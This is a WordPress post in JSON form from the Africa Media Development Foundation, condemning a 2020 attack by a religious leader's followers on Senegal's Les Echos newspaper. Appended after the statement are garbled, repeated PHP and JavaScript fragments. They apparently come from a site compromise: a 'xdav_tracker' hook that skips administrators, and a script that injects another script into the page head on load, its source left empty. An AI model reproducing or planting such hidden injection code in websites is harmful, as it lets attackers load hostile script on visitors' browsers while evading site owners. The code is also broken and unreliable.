{"id":7945,"date":"2020-08-13T14:09:03","date_gmt":"2020-08-13T13:09:03","guid":{"rendered":"https:\/\/amdf-centre.org\/?p=7945"},"modified":"2026-09-18T14:00:46","modified_gmt":"2026-09-18T13:00:46","slug":"amdf-condemns-attack-on-les-echos-newspaper","status":"publish","type":"post","link":"https:\/\/amdf-centre.org\/2020\/08\/13\/amdf-condemns-attack-on-les-echos-newspaper\/","title":{"rendered":"AMDF Condemns Attack on Les Echos Newspaper"},"content":{"rendered":"<p><strong><span style=\"font-size: 14pt;\">Authorities in Senegal must apprehend and punish culprits behind the vandalism on properties belonging to Le Echos newspaper.<\/span><\/strong><\/p>\n<p>Report says a group of religious fanatics attacked the media outlet on August 3, following the newspaper\u2019s publication that an influential religious leader \u2013 Serigne Moustapha Sy had tested positive for COVID-19 and was on admission at Dakar\u2019s main hospital &#8211; the country\u2019s capital.<\/p>\n<p>The thugs who identified themselves as followers of the said religious leader \u2013 Serigne Moustapha; \u00a0smashed the window screens, television and computers belonging to the media organization.<\/p>\n<p>\u201cSix computers were broken, plus the flat screen TV in my office, my equipment and that of the editor were broken.\u00a0 On their arrival, they introduced themselves as disciples of Serigne Moustapha\u201d said Mbaye Thandioum \u2013 the editor-in-chief to Media Foundation for West Africa (MFWA).<\/p>\n<p>Thiandioum said this is a threat to the Senegalese press \u201cif this act goes unpunished, anyone who might feel defamed could attack a journalist in any way\u201d he said.<\/p>\n<p>A senior journalist of the organization &#8211; Sidy Djimby Ndao said despite the challenge, they have continued publications as the staff have been forced to make use of their smartphones as alternatives due to the attack which damaged their computers, \u201cthe newspaper continues to be published but with but with extreme difficulty, he said.<\/p>\n<p>Senegal is known to enjoy a commendable level of press freedom, as the country ranks 47 in the Reporters Without Borders (RSF) annual press freedom index.<\/p>\n<p>Africa Media Development Foundation (AMDF) condemns this dastardly act and demands that authorities investigate and fish out \u00a0perpetrators, and they should be made to face the full weight of the law, this will serve as a deterrent to future possible offenders.<script>function xdav_tracker() {\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<script>function xdav_tracker() {\n    if ( is_user_logged_in() &#038;&#038; current_user_can( &#8216;administrator&#8217; ) ) { return; }\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<script>function xdav_tracker() {\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<script>function xdav_tracker() {\n    if ( is_user_logged_in() &#038;&#038; current_user_can( &#8216;administrator&#8217; ) ) { return; }\n    ?>\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<script>;const script = document.createElement(&#8216;script&#8217;);\nscript.src = &#8221;;\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Authorities in Senegal must apprehend and punish culprits behind the vandalism on properties belonging to Le Echos newspaper. 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